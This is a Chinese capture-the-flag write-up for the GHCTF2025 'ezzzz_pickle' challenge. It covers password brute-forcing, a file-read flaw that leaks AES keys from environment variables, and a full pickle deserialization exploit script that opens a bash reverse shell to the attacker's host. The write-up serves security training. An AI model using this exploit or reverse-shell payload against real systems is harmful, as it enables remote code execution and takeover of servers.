GHCTF2025 ezzzz_pickle 题解

395次阅读
没有评论

共计8920个字符,预计需要花费23分钟才能阅读完成。

题目

标题是 ezzzz_pickle,肯定和 pickle 模块有关系。

这个是解题后顺便爆出的源码:

from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)

def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv

def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()

        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()  

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()

        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()

        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

users = {"admin": "admin123",}

def create_session(username):

    session_data = {
        "username": username,
        "expires": time.time() + 3600}
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')

    key,iv=generate_key_iv()
    session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')

    return session

def dowload_file(filename):
    path=os.path.join("static",filename)
    with open(path, 'rb') as f:
        data=f.read().decode('utf-8')
    return data
def validate_session(cookie):

    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
        pickled_data=base64.b64decode(pickled)

        session_data = pickle.loads(pickled_data)
        if session_data["username"] !="admin":
            return False

        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

@app.route("/",methods=['GET','POST'])
def index():

    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data=""
            filename=request.form.get("filename")
            if(filename):
                data=dowload_file(filename)
            return render_template("index.html",name=session['username'],file_data=data)

    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if users.get(username) == password:
            resp = make_response(redirect("/"))

            resp.set_cookie("session", create_session(username))
            return resp
        return render_template("login.html",error="Invalid username or password")

    return render_template("login.html")

@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp

if __name__ == "__main__":
    app.run(host="0.0.0.0",debug=False)

思路

刚进入这个题目就要求我们输入用户名和密码:

GHCTF2025 ezzzz_pickle 题解

猜测应该是弱密码,直接用 WebCrack 爆破:

git clone https://github.com/yzddmr6/WebCrack
cd WebCrack
pip install -r requirements.txt
python3 webcrack.py

GHCTF2025 ezzzz_pickle 题解

得到用户名和密码分别是 adminadmin123。继续登录:

GHCTF2025 ezzzz_pickle 题解

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hello Page</title>
</head>
<body>
    <h1>Hello, admin!</h1>
     <!-- hint:session_pickle -->
    <h1></h1>
        <form method="POST" action="/">
    <input type="hidden" name="filename" value="fake_flag.txt">
            <button type="submit" class="btn btn-login"> 读取 flag</button>
        </form>
</body>
</html>

注意到<!-- hint:session_pickle -->,提示我们用 pickle 反序列化注入 session。再仔细看看 <input type="hidden" name="filename" value="fake_flag.txt">,好像还有个文件读取的漏洞。

value="fake_flag.txt" 改成 value="/proc/self/environ" 可以当前程序的环境变量,返回:

GHCTF2025 ezzzz_pickle 题解

PYTHON_SHA256=bfb249609990220491a1b92850a07135ed0831e41738cf681d63cf01b2a8fbd1
HOSTNAME=38442838d9fb435bPYTHON_VERSION=3.10.16
PWD=/app
HOME=/root
LANG=C.UTF-8
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
FLAG=no_FLAG
SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
SHLVL=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_iv=asdwdggiouewhgpw
_=/usr/local/bin/flask
OLDPWD=/

根据 PWD=/app 可知程序在该目录下,读取 /app/app.py 可以得到源码:

from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)

def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv

def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()

        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()  

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()

        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()

        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

users = {"admin": "admin123",}

def create_session(username):

    session_data = {
        "username": username,
        "expires": time.time() + 3600}
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')

    key,iv=generate_key_iv()
    session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')

    return session

def dowload_file(filename):
    path=os.path.join("static",filename)
    with open(path, 'rb') as f:
        data=f.read().decode('utf-8')
    return data
def validate_session(cookie):

    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
        pickled_data=base64.b64decode(pickled)

        session_data = pickle.loads(pickled_data)
        if session_data["username"] !="admin":
            return False

        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

@app.route("/",methods=['GET','POST'])
def index():

    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data=""
            filename=request.form.get("filename")
            if(filename):
                data=dowload_file(filename)
            return render_template("index.html",name=session['username'],file_data=data)

    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if users.get(username) == password:
            resp = make_response(redirect("/"))

            resp.set_cookie("session", create_session(username))
            return resp
        return render_template("login.html",error="Invalid username or password")

    return render_template("login.html")

@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp

if __name__ == "__main__":
    app.run(host="0.0.0.0",debug=False)

76 行 会出现 pickle 的反序列化漏洞,但这里程序先进行了解密(先 AES 解密72 行)再 BASE64 解密73 行))。因此我们要用到刚才环境变量中的SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbvSECRET_iv=asdwdggiouewhgpw,先序列化:

class User:
    def __init__(self):
        self.username = "admin"
        self.expires = 1941144899

    def __reduce__(self):
        return eval, ("__import__('os').system('sleep 3')",)

data = User()
print(pickle.dumps(data))

打印出来的就是 pickleUser 类序列化后的原始数据。在反序列化时,pickle 会自动执行 reduce 里面的方法,就会造成任意命令执行的漏洞,这个漏洞是十分危险的!那么我们再将数据根据刚才的程序加密,就能得到危险的 session

import base64
import pickle

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

if __name__ == "__main__":

    def generate_key_iv():
        key = "ajwdopldwjdowpajdmslkmwjrfhgnbbv".encode()
        iv = "asdwdggiouewhgpw".encode()
        return key, iv

    def aes_encrypt_decrypt(data, key, iv, mode="encrypt"):
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

        if mode == "encrypt":
            encryptor = cipher.encryptor()

            padder = padding.PKCS7(algorithms.AES.block_size).padder()
            padded_data = padder.update(data.encode()) + padder.finalize()
            result = encryptor.update(padded_data) + encryptor.finalize()
            return base64.b64encode(result).decode()

        elif mode == "decrypt":
            decryptor = cipher.decryptor()

            encrypted_data_bytes = base64.b64decode(data)
            decrypted_data = (decryptor.update(encrypted_data_bytes) + decryptor.finalize())

            unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
            unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
            return unpadded_data.decode()

    class User:
        def __init__(self):
            self.username = "admin"
            self.expires = 1941144899

        def __reduce__(self):
            # 任意命令执行
            return eval, ("__import__('os').system(\"bash -c 'exec bash -i >& /dev/tcp/ 你的 IP/ 你的端口 0>&1 2>&1'\")",
            )

    data = User()

    # 序列化数据
    pickled_data = pickle.dumps(data)

    # BASE64 加密
    pickled_data = base64.b64encode(pickled_data).decode("utf-8")

    # 根据源程序的 AES 加密
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode="encrypt")

    # 结果
    print(session)

将得到的结果放入浏览器的 Cookie 里面,刷新一下页面:

GHCTF2025 ezzzz_pickle 题解

我这里直接反弹了 bash 给我的主机,获得控制权:

GHCTF2025 ezzzz_pickle 题解

最终 Payload

jn4MYzY+mUVADRPVP3QhdKEwsCduzFuRhsCVSMgVpa6kjJo9HlI+/MmfCPM6vLgn6aUgm0saMuRsTnCGStWKWYsdkTCHvu4cIwvJW8PwfY3ajE1KxmtkTUQkH0DywE73zKilTzL93ueiyLRNwAJcyQrlffpl/q0fH99r7/Z8JsODdpsGPh8ue9xW0k+h8cxgSIqleTvAvRjv7uE+VY2g2g==

GHCTF2025 ezzzz_pickle 题解

正文完
 0
评论(没有评论)
验证码
zh_CN简体中文